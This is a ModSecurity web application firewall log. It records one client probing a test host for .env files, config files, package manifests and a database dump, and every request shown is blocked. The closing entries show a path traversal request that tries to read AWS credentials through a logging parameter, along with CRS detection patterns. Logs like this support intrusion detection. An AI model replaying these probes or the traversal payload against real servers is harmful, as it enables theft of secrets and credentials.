[Sun Jun 29 20:22:25.591607 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gkwAAAAU&quot;]
[Sun Jun 29 20:22:25.591802 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.production&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gkwAAAAU&quot;]
[Sun Jun 29 20:22:25.613807 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /new/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7glAAAAAU&quot;]
[Sun Jun 29 20:22:25.614061 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7glAAAAAU&quot;]
[Sun Jun 29 20:22:25.614259 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/new/.env.staging&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7glAAAAAU&quot;]
[Sun Jun 29 20:22:25.636652 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7glQAAAAU&quot;]
[Sun Jun 29 20:22:25.636982 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7glQAAAAU&quot;]
[Sun Jun 29 20:22:25.637160 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx.conf&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7glQAAAAU&quot;]
[Sun Jun 29 20:22:25.659215 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7glgAAAAU&quot;]
[Sun Jun 29 20:22:25.659475 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7glgAAAAU&quot;]
[Sun Jun 29 20:22:25.659693 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7glgAAAAU&quot;]
[Sun Jun 29 20:22:25.683813 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node/.env_example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7glwAAAAU&quot;]
[Sun Jun 29 20:22:25.684133 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7glwAAAAU&quot;]
[Sun Jun 29 20:22:25.684448 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node/.env_example&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7glwAAAAU&quot;]
[Sun Jun 29 20:22:25.726785 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gmAAAAAU&quot;]
[Sun Jun 29 20:22:25.727033 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gmAAAAAU&quot;]
[Sun Jun 29 20:22:25.727248 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gmAAAAAU&quot;]
[Sun Jun 29 20:22:25.764495 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /old/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gmQAAAAU&quot;]
[Sun Jun 29 20:22:25.764756 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gmQAAAAU&quot;]
[Sun Jun 29 20:22:25.764951 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gmQAAAAU&quot;]
[Sun Jun 29 20:22:25.820680 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/package-lock.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package-lock.json found within REQUEST_FILENAME: /package-lock.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gmwAAAAU&quot;]
[Sun Jun 29 20:22:25.821207 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gmwAAAAU&quot;]
[Sun Jun 29 20:22:25.821485 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;aGGEYeU-dj-hWt1UAd7gmwAAAAU&quot;]
[Sun Jun 29 20:22:30.661000 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7gnAAAAAU&quot;]
[Sun Jun 29 20:22:30.661267 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7gnAAAAAU&quot;]
[Sun Jun 29 20:22:30.662284 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7gnAAAAAU&quot;]
[Sun Jun 29 20:22:30.706956 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pg_dump.sql&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7gngAAAAU&quot;]
[Sun Jun 29 20:22:30.707320 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pg_dump.sql&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7gngAAAAU&quot;]
[Sun Jun 29 20:22:30.707516 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pg_dump.sql&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7gngAAAAU&quot;]
[Sun Jun 29 20:22:30.776943 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7goQAAAAU&quot;]
[Sun Jun 29 20:22:30.777011 2025] [:error] [pid 2968165] [client 185.177.72.107:22770] [client 185.177.72.107] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aGGEZuU-dj-hWt1UAd7goQAAAAU&quot;]
